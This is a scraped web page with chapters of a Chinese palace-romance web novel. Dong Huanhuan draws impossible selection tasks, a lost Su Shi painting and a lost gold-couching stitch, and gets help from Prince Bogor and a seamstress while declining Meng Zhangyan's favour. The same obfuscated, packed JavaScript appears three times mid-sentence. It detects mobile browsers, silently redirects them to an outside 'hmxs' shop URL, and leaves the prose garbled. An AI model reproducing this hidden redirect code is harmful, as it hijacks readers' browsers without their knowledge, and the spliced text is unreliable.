“驾!”她轻轻夹了夹马腹,马匹缓缓向前走去。董浣浣稳住身形,左手持弓,右手从箭囊里抽出一支箭,搭在弓弦上。她深吸一口气,目光紧紧盯着前方的靶心,手臂用力,试图将弓拉开。然而,她的手臂力量不足,弓只拉开了一半,便再也拉不动了。 周围传来几声低低的窃笑,董浣浣的脸颊瞬间涨得通红,只觉得脸上火辣辣的。 管事嬷嬷适时的厉声呵斥道,“笑,就知道笑,有什么好笑的,考核期间禁止喧哗!” 秀女们闻言,赶忙噤声,一个个像是个鹌鹑一样,大气都不敢喘一下。 董浣浣咬了咬牙,使出浑身力气,终于将弓拉满。她屏住呼吸,松开右手,箭“咻”地一声射了出去。然而,因为手臂微微颤抖,箭偏离了靶心很远,“咚”地一声落在了地上。 没有了窃笑声,只余下风声,却让董浣浣更加的无地自容,恨不得找个地缝钻进去。她攥紧缰绳,心中涌起一股不服输的劲头。她再次抽出一支箭,搭在弓弦上,这一次,她调整了呼吸,目光更加专注,手臂虽然依旧有些颤抖,但比刚才稳了许多。 “咻……”箭再次射了出去,这一次,箭没有落在地上,而是射中了靶子,却只是落在了最外围的圆圈里,距离靶心还差着十万八千里。负责骑射考核的刘嬷嬷摇了摇头,脸上露出几分失望,拿起毛笔,在考核册上记下了成绩。 董浣浣缓缓下马,双腿因为长时间夹住马腹而有些发麻,她走到青柠身边,低声道:“我……我是不是很差劲?” 青柠连忙摇头,拍了拍董浣浣的肩膀,安慰道:“怎么会!谁还没有点不擅长的东西了。就像你之前说的,尽力就好,别给自己那么大的压力。” 董浣浣并没有被青柠的话安慰到,她那不是有点不擅长的东西,她不擅长的东西可太多了…… 还好,两天的最终的考核结果还行,虽然不是特别优异,但至少她都合格了。 董浣浣很是看得开,那句话怎么说来着,六十分万岁,多一分浪费…… 第三天晚上,董浣浣躺在床上,睁着眼睛看着屋顶,心里暗暗盘算:终于要结束了,明天考核完,就能回宫里了,等到祭祀大典结束后,就能见到福临了。 她想着,等见到他,她要亲自确认一下他的伤口是否真的好了,不然心里总是不踏实,毕竟距离之前他们遇刺没过去多久,他又再次遇刺,这新伤旧伤叠在一起,她总归是放心不下。 困意袭来,董浣浣闭上眼睛,进入了梦乡。在梦中,董浣浣见到了福临,他站在宫殿前,笑容温柔地看着她,对她说:“浣儿,我等你回来。” 然而,可接下来的考核直接让董浣浣彻底傻眼了…… 102. 不可能完成的任务 董浣浣站在南苑行宫的门前,冷风卷起地上的落叶,打着旋儿落在她的裙摆上,可她连抬手拂去的力气都没有。 早上齐嬷嬷宣读第四日考核内容时,她心里还悄悄松了口气,可此刻,她只剩下一个念头在脑海里反复盘旋,天要亡她。 第四日的考核,是此次考试最为关键的一关,关乎能否获得参加祭天大典的资格。 完成任务,则可以自行回储秀宫交差,未完成任务则要在天黑前回到南苑行宫等候发落。 考核分为两项,第一项是抽签寻物,抽到什么便要在一日之内寻来对应的物品。第二项则是众秀女合力为大选当日所需的龙袍添彩,当然,也不可能让她们在一日之内绣出完整的龙袍,只是各自抽取龙袍上的一小块部位,补上几针,图个吉利彩头,但这“添彩”二字,也暗藏着对绣工与心思的考验。 此次考核并不限制秀女的自由,不仅可以出宫,甚至允许回家向家人求助。 当太监捧着签筒走到董浣浣面前时,她深吸一口气,指尖轻轻捻起一支竹签,展开一看,心头先是一喜:寻找苏东坡的名画。 这题不难,毕竟那样一位诗词大家,流传于世的作品定然不少。她暗自思忖,她家阿玛怎么也算是个名将,在朝中也有些人脉,家中也收藏了不少古籍字画,找一幅苏东坡的名画,想来不算难事,实在不行她那位姓爱新觉罗的继母也可以帮忙一起找,定然是十拿九稳...... 紧接着抽取第二项考核的签时,董浣浣的运气似乎依旧不错,抽到的是绣龙袍上龙眼的黑色部分。她盯着签上的字,忍不住弯了弯嘴角,在心里嘀咕:这龙眼的黑色部分,怕是龙袍上最容易绣的部位了吧?不过是几针黑色丝线,就算签上要求了特定的针法,她只需找宫里的嬷嬷请教一番,花上半个时辰练习,绣那么几针,总不会出什么差错。 怀揣着这份轻松,董浣浣捏着两支竹签,脚步轻快地回到住处。刚走到房间门口,便看到赫舍里??青柠正坐在床边,手里捏着签纸,眉头拧得紧紧的,一副愁眉不展的模样。 见董浣浣回来,赫舍里??青柠连忙站起身,迎了上去,语气带着几分无奈:“你可算回来了,你快看看我抽到的是什么,简直要愁死我了。”说着,她将手中的签纸递给董浣浣。 董浣浣接过一看,只见两张签纸上分别写着“寻找夜明珠”和“绣一片龙袍云纹”。 夜明珠本就稀有,寻常人家难以得见,而龙袍上的云纹繁复精巧,针法多变,想要在一日之内绣好,绝非易事。 她不禁有些同情地看着赫舍里??青柠:“这两项确实不容易,不过你家族势力大,或许能有办法。” 赫舍里??青柠叹了口气,目光落在董浣浣手中的签纸上,好奇地问:“那你抽到的是什么?看着你心情不错,想来是抽到简单的了。” 董浣浣笑着晃了晃手中的签:“我抽到的是找苏东坡名画和绣龙眼的黑色部分,我觉得这两项都不算难,找名画可以让阿玛帮忙,绣龙眼……” 她的话还没说完,就见赫舍里??青柠的脸色瞬间变了,原本还带着愁绪的脸上,此刻写满了震惊,她一把抓住董浣浣的手,声音都有些发颤:“你……你没弄错吧?你抽到的真是寻找苏东坡的名画?” 董浣浣被她突如其来的反应吓了一跳,疑惑地点点头:“是啊,怎么了?苏东坡的名画很难找吗?” 赫舍里??青柠松开她的手,连连摇头,脸上满是担忧:“不是难不难找的问题,是根本找不到啊!你在闺中或许不清楚,可朝中人人皆知,苏东坡流传至今的名画,世间仅存一幅!而且那《潇湘竹石图》,现在就悬挂在皇上的养心殿寝宫内,是皇上最珍视的宝贝之一,平日里连亲近的太监都不许随意触碰,更别说拿出来给你用作考核了!” “什么?”董浣浣脸上的笑容瞬间僵住,仿佛被一道惊雷劈中,整个人都愣在了原地。她之前只想着苏东坡名气大,作品定然不少,却从未想过,流传至今的名画竟然只有一幅,还在皇上的寝宫里! 那幅画在福临的寝宫内? 她之前去养心殿怎么没有注意到? 一定是当时她来去匆匆,心思又全都在福临身上,才会忽略这些细节。 算了,就算注意到了,她也不会当回事,毕竟她怎么知道日后,她有用得到这幅画的一天。 只是目前的情况,谁敢在没有得到皇上允许的情况下,擅自将画拿出来?董浣浣只觉得一阵头晕目眩。 虽然福临为了照顾她,特地将李顺德安排在此次随行的太监之中,方便她随时调用。可就算有李顺德帮忙,现在福临正在为了祭天大典闭关沐浴焚香,任何人都不得打扰,谁敢私自取走他寝宫里的画? 而且这幅画是众所周知的在福临的寝宫,她一旦让李顺德将画拿出来用于考核,她与福临之间的关系,必然会被捅到众人面前。 就算她豁出去,不在乎暴露关系,可在这等级森严的古代,皇上的东西便是皇权的象征,岂容他人随意取用?在现代的时候,若是需要用男友的东西,打个招呼或是先拿去用,事后解释清楚便好。可这里是皇宫,是皇权至上的地方,别说是她,就算是皇后,未经允许私自拿取皇上的东西,恐怕也会被朝中的文臣们弹劾,被唾沫星子淹死。 就算是福临事后力保她,也会给好事者留下话柄。 董浣浣只觉得喉咙发紧,连呼吸都变得困难起来,她扶着廊柱,才勉强站稳身子,心里只有一个念头:她摊上大事了。 可事情还没到最糟的地步,赫舍里??青柠看着她苍白的脸色,犹豫了一下,还是开口说道:“还有你抽到的绣龙眼……你仔细看看签上要求的针法,是不是‘蹙金绣’?” 董浣浣连忙低头看向手中的签纸,只见在“绣龙眼黑色部分”的下方,果然写着“需用蹙金绣法”。她之前以为不是大问题,只需要跟宫里嬷嬷学个大概就好了,但此刻听赫舍里??青柠的语气,心里咯噔一下:“蹙金绣法……怎么了?” “那蹙金绣法,是前朝皇宫里的针法,早在几十年前就已经失传了啊!”赫舍里??青柠的声音带着几分无力,“我祖母曾说过,蹙金绣法需要用极细的金线,以特殊的针法层层叠加,绣出来的图案不仅立体饱满,还能在光线下呈现出不同的光泽,当年只有前朝皇宫里最顶尖的绣娘才能掌握。可现如今我大清江山初定,前朝记载蹙金绣法的图谱早已遗失,会这种针法的前朝绣娘也相继离世,到如今,已经没人会用蹙金绣法绣东西了!” 失传了?董浣浣只觉得眼前一黑,差点栽倒在地。寻找苏东坡名画已是不可能完成的任务,现在连绣龙眼的针法都失传了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815927|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这两项考核,根本就是为了筛掉人而准备的,而她偏偏两个都抽到了! 若是仅仅是被筛掉,无法参加祭天大典,倒也没什么,可她转念一想,绣不出龙袍上的部位,会不会被认定为“对皇上不敬”?在这皇宫里,“不敬”可是大罪,轻则被逐出宫门,重则株连九族! 她知道福临定不会让她一家出事,可是不怕一万就怕万一,万一到时候福临控制不住局面该怎么办? 她因此受罚没关系,可董鄂氏一族那些无辜的人,难道要因为她一个人而受到牵连吗? 董浣浣从未在课本上看到过清朝时董鄂家被九族获罪的记载,可课本上没记载,不代表就没有发生过,毕竟她知道的历史是那样的有限。万一因为她这次的失误,让董鄂家无辜受累,她定难辞其咎。 她不明白,为什么自己会这么倒霉?两项不可能完成的任务,分明是想筛掉两个人,结果却让她一个倒霉蛋全撞上了,这简直就是为了筛掉她,特意上了双保险! 是谁出的这些题目?是福临的主意吗?是冲着哪个倒霉蛋去的?为什么偏偏让她误打误撞地全都撞上了?董浣浣越想越委屈,越想越害怕,眼眶不知不觉就红了,眼泪在眼眶里打转,却强忍着不让它掉下来。 她想福临了,没想到他只是闭关几天,她就什么也做不好了…… 此刻,她真的好嫌弃自己,怎么会如此没用…… 赫舍里??青柠看着她这副霜打茄子般的模样,心里也不好受,她轻轻拍了拍董浣浣的肩膀,柔声安慰道:“你别着急,也别胡思乱想。我回家之后,就让阿玛帮你打探打探,不管是苏东坡的名画,还是蹙金绣法,只要世间还存在解决的办法,就没有我们赫舍里家办不到的事情。天无绝人之路,既然考核出了这样的题目,就一定有解决的办法,不然岂不是纯粹耍人玩吗?皇上仁厚,定然不会让秀女们陷入绝境的。” 董浣浣抬起头,看着赫舍里??青柠真诚的眼神,心里泛起一丝暖意。她知道赫舍里??青柠说的是实话,赫舍里氏在朝中根基深厚,或许真的能找到解决的办法。她吸了吸鼻子,擦掉眼角的泪水,苦笑着点了点头:“谢谢你,青柠。我回家之后,也找阿玛问问,说不定阿玛也有办法。” 两人又说了几句宽心的话,眼看天色渐亮,出宫的时辰快要到了,便各自收拾了东西,依依不舍地分开,朝着宫门的方向走去。 坐在回董鄂府的马车里,董浣浣靠在车壁上,整个人都恹恹的,提不起一点兴致。车窗外的街景不断向后倒退,叫卖声、车马声此起彼伏,可这些热闹都与她无关。她闭上眼睛,脑海里反复回荡着赫舍里??青柠的话。 一天时间要完成这两项完全不可能完成的任务,这真是天要亡她啊。 马车一路颠簸,终于停在了董鄂府的门口,紫鸢和小柒早已在门口等候。见马车停下,紫鸢连忙上前掀开帘子,恭敬地说道:“小姐,您回来了。老爷在书房等您……” 董浣浣看了一脸凝重的紫鸢和一脸担忧的小柒,看来先来报信的人已经将事情告诉她们了。 董浣浣深吸一口气,整理了一下身上的衣服,强打起精神,走下马车。她知道,现在不是消沉的时候,她必须尽快和阿玛商量,看看能不能想出解决的办法。无论如何,她都不能连累董鄂家的族人...... 103. 山穷水复疑无路 秀女们接到考核任务的消息一出,原本各司其职的京中贵族们,一时间全都动了起来。 那些平日里养尊处优的老爷夫人,此刻都如同上了发条的陀螺,急得团团转。 秀女们的考核,关乎家族荣辱与未来前程,容不得半分怠慢。 整个京城仿佛被按下了快进键,往日清雅静谧的文玩店,此刻挤满了身着绫罗绸缎的家丁丫鬟。掌柜的被围在中间,手指飞快地划过货架上的瓷器玉器,声音都喊得沙哑了。 书画店更是人声鼎沸,名贵的字画被小心翼翼地展开又收起,空气中弥漫着墨香与众人急促的呼吸声,有人甚至为了一副画争得面红耳赤,差点动起手来。 就连平日里烟火气十足的酒楼客栈,也成了打探消息的集聚点。管事们三三两两凑在一起,压低声音交换着情报,桌上的茶水凉了也顾不上喝,眼角眉梢都带着几分焦灼。 街边的小吃铺前,丫鬟、小厮们提着食盒匆匆路过,脚步不停,嘴里还念叨着自己小姐需要的食材,生怕耽误了片刻。 一时间,京城的大街小巷,随处可见穿梭往来的仆役,手里捧着、怀里抱着各式各样的物件,神色匆匆,却目标明确。 那繁忙的景象,比年节时分还要热闹几分,也足见此次考核涉及领域之广,难度之高,竟让这些贵族之家都如此兴师动众。 与其他家风风火火不同的是,此刻的董鄂府简直是愁云惨淡,朱红的大门紧闭,门前的石狮子威严依旧,府内却安静异常,每个人都心事重重。 毕竟,接到这两个完全不可能完成的任务,任谁家也开心不起来。 董浣浣此刻垂着头坐在椅子上,整个人恹恹的,提不起半分精神,往日里灵动的眼眸此刻蒙上了一层阴霾,秀眉紧紧蹙着,难掩心中的沮丧。 为了寻找苏轼的画,阿玛派出去的家丁丫鬟几乎踏遍了京城的每一家书画店、古董行,甚至托人打听了那些收藏字画的世家大族,可结果却不尽如人意。 怎么可能有呢? 明明已经知道了那幅唯一的《潇湘竹石图》在福临的寝宫,怎么可能找到别的呢。 这道题到底是谁出的?还有为什么非要要在福临斋戒期间考核?这样即使她想要破釜沉舟的将他们的关系公之于众,去拿到画,参与考核,都没办法做到。不走流程通知福临,就拿画,福临那关虽然好过,但是其他人那关该怎么办,她很快就会被有些人扣上一个偷盗皇帝财物的罪名,说不定董鄂一族都得跟着她玩完,这简直是把她所有的退路都堵死了。难道真的是天要亡她不成?董浣浣闭上眼,只觉得一阵无力,连指尖都透着冰凉。 “就没什么办法知会姐夫一声,先把画借出来,用完再还回去吗?”费扬古看着姐姐生无可恋的模样,实在按捺不住,小声提议道。 鄂硕闻言,赶忙厉声打断他:“慎言!上次是皇上抬举,特许你如此称呼,咱们自己可要认清身份!如今正是秀女考核的敏感时期,这话若是被旁人听去,指不定会如何编排咱们董鄂家,说咱们仗着与皇上的交情肆意妄为,到时候不仅浣浣的前程保不住,整个家族都要被牵连!” 费扬古被父亲严厉的语气惊得一怔,低声应道:“知道了,父亲。” “不到万不得已,不能去找他。”董浣浣缓缓睁开眼,声音带着一丝疲惫,却异常坚定。她何尝不想向福临求助,可她清楚,此刻的每一步都如履薄冰,稍有不慎便会万劫不复。不仅有可能会连累到董鄂家,甚至还有可能连累到福临,轻则被斥责不敬,重则可能被冠上“惑主”的罪名。 费扬古还想再说些什么,董浣浣却轻轻拍了拍他的肩膀,挤出一丝安抚的笑容:“别着急,会有办法的。” 这话是说给费扬古听的,更是说给她自己听的。董浣浣心中清楚,她此刻早已被逼到了绝境,所谓的“办法”,不过是自欺欺人的安慰罢了。 与此同时,和硕襄亲王府内。 博果尔身着一袭霜色暗纹锦袍,斜倚在书房的软榻上,手中把玩着一枚成色极佳的和田玉扳指。他面容俊朗,眉宇间带着几分少年人的桀骜,又藏着几分与年龄不符的深沉。 听到刘全回报京城的异动,以及秀女考核的具体题目时,他修长的手指微微一顿,玉扳指在指尖停下转动。他抬眸看向躬身站立的刘全,声音不高,却带着不容置疑的威严:“董鄂氏拿到的是什么题目?” 刘全恭敬地低下头,回话道:“回王爷,奴才打探到,董鄂姑娘的题目有两道,一是需寻得一幅宋代苏轼的真画,二是要用蹙金绣的技法,在龙袍上绣出龙眼纹样。” “苏轼真画?蹙金绣?”博果尔低声重复了一遍,眼底闪过一丝了然。苏轼的真画,在世人眼中唯一流传于世的便是那幅《潇湘竹石图》。而那幅画,现在正藏于皇兄的寝殿,这是朝中稍有资历之人都知晓的事情。 如今皇兄正值斋戒期间,隔绝外界往来,董浣浣若是敢私自求取画作,定会在前朝后宫掀起腥风血雨。 这第一道题,分明就是一道无解题。而蹙金绣,更是前朝皇宫中已经失传的技法,寻常的刺绣师傅连听都未必听过,更别说亲手绣制了。 这是谁这么大胆,趁着皇兄斋戒期间,为难于她? 博果尔嘴角勾起一抹意味深长的笑意,手指轻轻敲击着榻边的小几:“有意思。你去办一件事,把我珍藏的那幅《枯木怪石图》取来,送到董鄂府。就说是本王偶然所得,听闻董鄂姑娘急需苏轼真画,特赠与她解燃眉之急。” 刘全心中一惊,那幅《枯木怪石图》亦是苏轼的真迹,虽不如《潇湘竹石图》名声显赫,却也是价值连城的珍宝,王爷竟如此轻易便要赠予董鄂姑娘?但转念一想,他们之前一起经历了那么多,其中情谊又岂是一幅画能比得了的。他不敢多问,连忙躬身应道:“是,奴才这就去办。” 就在董浣浣心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815928|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰意冷之际,门外突然传来小柒惊喜的呼喊声:“小姐!小姐!有好消息!刘全送来一幅画,说是苏轼的真迹......” 董浣浣猛地抬起头,眼中闪过一丝难以置信的光芒,声音带着几分颤抖:“什么?你说什么?” 小柒来不及和她解释,着急的拉着她的手就往门口走。迎面正巧看到紫鸢引着刘全往这边来,他手中捧着一个精致的木盒。见到董浣浣出来,刘全连忙上前躬身见礼:“奴才见过董鄂姑娘。这是我家王爷托小人送来的画作,说是能解姑娘的燃眉之急,还请姑娘收下。” 董浣浣让紫鸢接过木盒,打开一看,只见里面铺着一层柔软的锦缎,郑氏一副古色古香的画作。 “这是……《枯木怪石图》?”董浣浣眼中满是震惊,苏轼居然还有第二幅画传世吗? 不过,她很快就接受了,毕竟安齐平,不,是博果尔,虽然之前一路上他们打打闹闹,但是以他的为人,不可能在这个时候拿一副假画来糊弄她。 “替我谢谢你们家王爷,就说这份恩情,我董浣浣记下了,改日定当亲自上门道谢。”董浣浣对着刘全微微颔首,语气真诚。 刘全点头称是,便躬身告退,转身快步离开了董鄂府。 董浣浣望着刘全远去的背影,又低头看了看手中的画作,心中百感交集。真是患难见真情啊,之前她真是没白疼他。 不管怎样,画的问题总算是解决了。董浣浣心中的一块大石落了地,脸上终于露出了一丝久违的笑容。可这份喜悦并没有持续太久,另一道难题又涌上了心头,蹙金绣。 为了找到会蹙金绣的师傅,董浣浣同样费尽心机。她派人寻访了京城中所有有名的绣坊,拜访了那些技艺精湛的刺绣师傅,可无论是白发苍苍的老绣娘,还是正当盛年的绣工,听到“蹙金绣”三个字,都纷纷摇头,面露难色。 董浣浣坐在绣房里,看着桌上堆积如山的锦缎和金线,心中焦急万分。考核的时限越来越近,可刺绣的事情却毫无进展。 紫鸢和小柒站在一旁,看着董浣浣愁眉不展的样子,心里也十分着急,却又无计可施。紫鸢拿起一根金线,试着在锦缎上比划了一下,却毫无头绪。 “小姐,要不我们再去城外的村镇找找?或许那些隐居的老绣娘会呢?”紫鸢试探着说道。 董浣浣摇了摇头,眼中带着几分无奈:“时间来不及了。城外路途遥远,一来一回就要耗费大半日,就算找到了,也未必能在规定时间内绣好。” 就在三人相对无言,气氛沉闷之际,门外传来了管家的声音:“小姐,孟先生前来拜访,说是有要事与小姐商议。” “孟章砚?”董浣浣心中一动,他今日怎么又来了? 董浣浣心里对他是有些抵触的,毕竟每次遇到他,好像都没什么好事。 她压下心中的不安,整理了一下衣衫,说道:“请他到客厅等候,我随后就到……” 104. 柳暗花明又一村 董浣浣来到客厅,只见孟章砚身着一袭宝蓝色锦袍,坐在厅里,悠闲地喝茶。 见到董浣浣进来,他微微颔首,算是见礼,“董鄂姑娘,冒昧来访,还望海涵。” “孟先生客气了,请坐。”董浣浣示意紫鸢重新上茶,自己则在他对面的椅子上坐下,心中暗自揣测着他的来意。 孟章砚放下茶杯,开口道:“双耳如今可好。” 董浣浣闻言,抬首看向他,认真的回复道,“能吃能睡,一切安好,您就放心吧。” 董浣浣心想,毕竟他师父是小乖乖和小甜甜的原主人,他关心一下也是正常。 听到董浣浣的回答,孟章砚点点头,并未再绕弯子,开门见山地说道:“我听说姑娘正在寻找会蹙金绣的人,是吗?” 董浣浣心中一惊,没想到他竟会知晓此事,不过转念一想,以他的身份知道了也不稀奇,身为太后的侄子兼女婿,又是未来皇后的哥哥,这皇城估计就没有他不知道的事情。 董浣浣点了点头道:“正是。不知孟先生今日前来,莫非是有什么指教?” “指教谈不上。”孟章砚端起新上的茶杯,轻轻抿了一口,然后开口道:“我可以帮你找到会蹙金绣的人......” 董浣浣闻言,却并未感到高兴,反而多了几分警惕。她深知,以他们如今的关系,他绝不会无缘无故出手相助。她定了定神,开口问道:“孟先生此言当真?” “自然当真。”孟章砚停顿了一下,放下茶杯,“不过,我帮你这个忙,需要你答应我一个要求。” 果然如此。董浣浣心中了然,脸上却依旧保持着平静。能让他所求之事,必定不简单。她沉吟片刻,说道:“不知孟先生有何要求?还请明说。” “要求嘛,眼下我还没想好。”孟章砚嘴角勾起一抹意味深长的笑容,“等日后我想到了,自然会告知姑娘。姑娘只需记住,你欠我一个人情,日后我若有需要,姑娘需鼎力相助便是。” 董浣浣心中一沉。孟章砚的人情,可不是那么好欠的。 他是孟古青的哥哥,是福临的姐夫,是卓礼克图亲王的继承人,背后势力庞大,他今日帮了她,日后他若真有所求,必定是关乎朝堂格局、关乎皇权稳固的大事,到那时,她又能如何偿还? 更怕的是,他的要求会让福临陷入两难,让福临为了她而做出不必要的妥协。她董浣浣,绝不能成为福临的软肋。 这个人情,她实在不敢轻易欠下。 “孟先生,此事事关重大,能否容我考虑片刻,晚些时候再给你答复?”董浣浣斟酌着说道。 孟章砚倒也不勉强,点了点头,“可以。不过,考核时限紧迫,姑娘最好尽快做决定,免得误了大事。”说罢,他便起身告辞了。 送走孟章砚,董浣浣心中越发纠结。一边是近在眼前的考核难关,一边是难以偿还的人情债,她实在是不知道该如何抉择。 “小姐,我们怎么办?”紫鸢看着自家小姐愁眉不展的样子,忍不住问道。 董浣浣轻轻叹了口气,“我不知道。孟章砚的人情,可不是那么好还的......” 紫鸢自然知道,他家妹妹和主子是情敌,情敌哥哥的人情债,哪是那么好还的......紫鸢张了张嘴,想劝慰几句,却又不知从何说起,只能陪着董浣浣一同沉默。 就在这时,管家进来禀报,说南苑行宫那边派人来催,让她尽快将寻到的字画送过去查验。 董浣浣只得暂时放下心中的纠结,让人将画仔细装好,带着紫鸢和几个随从,乘坐马车前往南苑行宫。 马车行驶在前往行宫的路上,董浣浣坐在车内,心中依旧思绪万千。她实在不想欠下孟章砚的人情,可若找不到会蹙金绣的人,只怕是更麻烦。 “浣主子,您别太着急了。”到了南苑行宫,李顺德接过字画,见董浣浣神色不佳,忍不住开口安慰道,“实在不行我去试着联系一下师父,让他通知皇上......” 董浣浣摆摆手,打断了他,“不用,不用,我自己可以想办法的......” 他现在在斋戒期间,这么神圣的事情,她怎么可以乱了规矩,去打扰他,董浣浣勉强笑了笑:“多谢李公公关心了,只是会这蹙金绣的人简直是凤毛麟角,这一时半会实在是不知道去哪能找到。” “蹙金绣?”李顺德闻言,先是愣了一下,随即像是想起了什么,眼睛一亮,连忙说道,“浣主子,您若是说蹙金绣,或许我能帮上一点忙。” 董浣浣眼中闪过一丝希冀,急切地问道:“哦?李公公此话怎讲?” 李顺德笑道:“妙春啊,就您前两天救的妙春啊,妙春的阿嬷,曾经也是有名的绣娘,听妙春说,她最擅长的就是蹙金绣。” 真是踏破铁鞋无觅处,得来全不费工夫!董浣浣闻言,眼眶微微发热,不由得在心中感叹:真是天无绝人之路啊! 她连忙对着李顺德福了一礼:“多谢李公公指点!若真能请到妙春阿嬷相助,我必有重谢!” “浣主子严重了,举手之劳而已。”李顺德连忙侧身避开,笑着说道,“妙春阿嬷如今就住在行宫附近的巷子里,奴才这就带您过去。” 董浣浣欣喜不已,连忙吩咐紫鸢留下照看字画,自己则带着随从跟着李顺德快步走出行宫,朝着附近的小巷走去。 穿过两条青石板铺就的小巷,便来到了一处古朴的小院前。院内传来隐约的针线穿梭声,李顺德上前轻轻叩了叩门环。 开门的正是妙春。她见是李顺德,连忙行礼:“顺德哥,你怎么来了?” 李顺德笑着指了指身后的董浣浣:“妙春,浣主子,有要事想请你阿嬷帮忙。” 妙春这才看到身后跟着的董浣浣,忙招呼董浣浣进屋。 进屋后,董浣浣只见屋内陈设简单却整洁,靠窗的位置坐着一位头发花白的老妇人,正专注地绣着一方丝帕。想必这就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815929|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙春的阿嬷了。 妙春快步走到老妇人身边,轻声说了几句。老妇人闻言,放下手中的针线,站起身,眼中渐渐露出了激动的神色:“您……您是就是救了妙春的那位姑娘?” 董浣浣点了点头,温和地说道:“举手之劳,阿嬷不必放在心上。今日前来,是有一事相求。” 妙春阿嬷连忙起身,对着董浣浣深深一揖:“姑娘是我们家的救命恩人,有什么事尽管吩咐,老身定当尽力相助!” 董浣浣连忙扶起她,说明了来意,妙春的阿嬷满口答应。 终于在规定时间内,董浣浣学会了蹙金绣,回到南苑行宫绣上了龙眼的那两针。 离开妙春家时,董浣浣郑重的向妙春阿嬷道谢道:“日后阿嬷若有任何需要,只管派人去董鄂府告知,我定当竭力相助。” 走出绣房的董浣浣,深深的吸了口气,这一天甚至让她有了一种劫后余生的错觉。 董浣浣走出南苑行宫,准备回宫。此时天色已暗,行宫门外挂起了红灯笼,昏黄的灯光照亮了门前的路。 可刚走到马车旁,董浣浣便顿住了脚步。只见行宫门外的老槐树下,一道修长的身影正静静地伫立着,月光洒在他身上,勾勒出挺拔的轮廓。不是孟章砚,又是谁? 孟章砚似乎早已等候多时,见董浣浣出来,便缓缓走上前。他目光深邃,落在董浣浣带着笑意的脸上,一副了然于心的模样,声音温和却带着几分探究:“董鄂姑娘,看来你的问题已经解决了。” 董浣浣敛去脸上的笑容,微微躬身行礼:“孟先生,多谢您今日的好意。只是我已经找到解决办法了,您的这个人情,我就先不欠了。多谢您愿意出手相助,这份心意,我记下了。日后若有机会,定当报答。” 她的语气不卑不亢,既表达了感激,又清晰地划清了界限。 孟章砚深深看了她一眼,那双深邃的眼眸仿佛能看穿人心,将她心中的顾虑尽数洞悉。 他沉默片刻,缓缓点了点头:“既然如此,那在下就不打扰了,有缘再会。” 董浣浣依旧保持着躬身的姿态,声音诚恳:“无论如何,还是多谢孟先生今日的出手帮忙。” 孟章砚不再多言,只是对着她微微颔首,转身离开。 刚走几步,孟章砚像突然想起什么似的,开口道:“对了,那封信你准备什么时候给他啊......” 说完,不等董浣浣回复,便消失在夜色之中。 他知道她给福临的信是假的了? 明明那封信只有她和福临两个人看过,孟章砚是怎么知道的? 董浣浣被他的问题,惊出一身冷汗,直到那道身影彻底不见,董浣浣才回过神来。 晚风拂过,带来阵阵凉意,董浣浣紧了紧身上的披风,转身登上马车。马车缓缓驶动,朝着皇宫的方向而去。 董浣浣在心里盘算着,看来,那封阚先明的信也是时候给福临了......